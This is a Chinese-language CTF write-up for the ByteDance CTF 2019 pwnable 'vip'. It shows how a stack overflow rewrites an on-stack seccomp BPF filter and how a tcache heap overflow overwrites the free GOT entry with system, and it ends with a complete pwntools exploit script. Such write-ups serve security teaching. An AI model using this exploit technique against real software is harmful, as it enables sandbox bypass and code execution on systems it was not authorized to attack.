Challenge
-
题目:vip
-
类型:pwnable
-
来源:ByteDance CTF 2019 Quals
-
环境:Ubuntu 18.04
-
难度:Easy
Analysis
照惯例检查一下题目开启的保护,没有PIE,GOT表可写。
checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
载入IDA后发现为典型的菜单结构,简单梳理一下流程
1.alloc // 添加一个大小为0x50的堆块
2.show // puts输出
3.free //
4.edit // 存在堆溢出
5.exit
6.become vip // 设置seccomp,读入0x50大小栈数据
这里注意到在edit时,读入的时候由write_access控制,默认读入随机数据。我们首先想到是否可以修改这个值,如果通过edit的堆溢出构造unlink或者unsorted bin attack的话都需要控制我们的输入,由此可知这个思路不太可行。
ssize_t __fastcall read_n_4014A8(void *a1, int a2)
{
int fd; // [rsp+1Ch] [rbp-4h]
if ( write_access_4040E0 )
return read(0, a1, a2);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
exit(0);
return read(fd, a1, a2);
那么我们把注意力放到become vip这个选项,我们先来看一下默认的secomp策略,看起来是标准的沙盒配置。但注意到这段BPF代码是存在栈里的,当我们读入name的时候,通过栈溢出可以改掉这段代码,从而设置不同的seccomp策略。
$ seccomp-tools dump ./vip
...
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto 0010
0004: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0009
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0009
0007: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0009
0008: 0x06 0x00 0x00 0x00050005 return ERRNO(5)
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
我们可以通过栈溢出覆盖0x30个字节,而一条BPF指令是8个字节,因此我们最多可以添加6条BPF指令。这里我们希望在open("/dev/urandom")的是否返回0,BPF是只读的,也就是它并不能修改syscall的参数。幸运的是,我们可以设置open syscall的策略是返回ERRNO(0),这里的0表示Success,被当成fd为0来使用了,因此之后read将从stdin读取。同时考虑到,我们后面如果执行system的话,也会使用open读入/bin/sh,这样的需要加一个判断条件,只让/dev/urandom返回ERRNO。最终构造的BPF代码如下。
A = sys_number
openat ? ok : next =
A = args[1]
A != 0x40207e ? ok:next
return ERRNO(0)
ok:
return ALLOW
这样在edit时,读入的数据便是可控的,结合堆溢出,我们可以写下下一个free块的fd指针到GOT表。因为在libc2.27中使用了tcache,并且从tcache中取出free chunk是没有任何检查的,因此在下下次malloc中,我们可以得到伪造的指针。通过show泄漏出free的libc地址,再通过edit修改free的got表为system,即可getshell。
Solution
完整的利用代码如下:
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
r = None
def alloc(idx):
r.sendlineafter(': ', '1')
r.sendlineafter(': ', str(idx))
def show(idx):
r.sendlineafter(': ', '2')
r.sendlineafter(': ', str(idx))
def free(idx):
r.sendlineafter(': ', '3')
r.sendlineafter(': ', str(idx))
def edit(idx, size, data):
r.sendlineafter(': ', '4')
r.sendlineafter(': ', str(idx))
r.sendlineafter(': ', str(size))
r.sendafter(': ', data)
def vip(sc):
r.sendlineafter(': ', '6')
r.sendafter(': ', 'x00'*0x20 + sc)
def exploit():
global r
r = process('./vip')
code = ELF('./vip')
libc = ELF('./libc-2.27.so')
sc = ''
sc += '2000000000000000'
sc += '1500000301010000'
sc += '2000000018000000'
sc += '150000017e204000'
sc += '0600000000000500'
sc += '060000000000ff7f'
sc = sc.decode('hex')
vip(sc)
alloc(0)
alloc(1)
alloc(2)
free(1)
p = '/bin/shx00'*10
p += p64(0) + p64(0x61)
p += p64(code.got['free'])
edit(0, len(p), p)
alloc(3)
alloc(4)
show(4)
libc.address = u64(r.recv(6)+'x00x00') - libc.sym['free']
log.info(hex(libc.address))
edit(4, 8, p64(libc.sym['system']))
free(0)
r.interactive()
if __name__ == '__main__':
exploit()
原文始发于微信公众号(pwnable):vip
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论